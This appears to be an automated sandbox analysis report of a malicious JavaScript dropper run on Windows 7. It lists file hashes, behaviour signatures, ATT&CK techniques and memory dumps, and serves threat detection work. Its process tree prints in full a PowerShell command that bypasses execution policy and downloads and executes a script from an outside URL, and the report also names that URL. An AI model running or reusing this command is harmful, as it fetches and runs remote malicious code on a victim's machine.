bc744ffb073010911feabf75f577bf25e3cc453d9c79a5fced00fa7abe3512bb

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 02:41

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General

Target

bc744ffb073010911feabf75f577bf25e3cc453d9c79a5fced00fa7abe3512bb.js
Size

72KB
MD5

2c07cb2d7c8622de7ad1217c1d98edae
SHA1

2698c6835ca8787b26dadabfe048060f4eeb7bd2
SHA256

bc744ffb073010911feabf75f577bf25e3cc453d9c79a5fced00fa7abe3512bb
SHA512

58562575a303d25f9af8bfbde69a6c440b5c86010c82030e07b664430a657513478c9aca15b5005851bf086349a490a2097d74447bd8ed3e5020e739af10bbe5
SSDEEP

1536:MWL3c9zFw+SbpRMDnCXQ77cXdx7ha75xgaJ1+CS12Olq8DlRN3nVJaPJLNUCVEKc:fLWfSb7MjCXQPc37hO5xgaJ1+CS12Ol3

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1416	powershell.exe
4	1416	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1416	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1600 wrote to memory of 1416	1600	wscript.exe	28
PID 1600 wrote to memory of 1416	1600	wscript.exe	28
PID 1600 wrote to memory of 1416	1600	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\bc744ffb073010911feabf75f577bf25e3cc453d9c79a5fced00fa7abe3512bb.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1416-4-0x000007FEF6160000-0x000007FEF6AFD000-memory.dmp

Filesize
9.6MB

Download
memory/1416-5-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/1416-6-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/1416-7-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/1416-9-0x0000000002140000-0x0000000002148000-memory.dmp

Filesize
32KB

Download
memory/1416-8-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/1416-10-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/1416-11-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/1416-12-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/1416-13-0x000007FEF6160000-0x000007FEF6AFD000-memory.dmp

Filesize
9.6MB

Download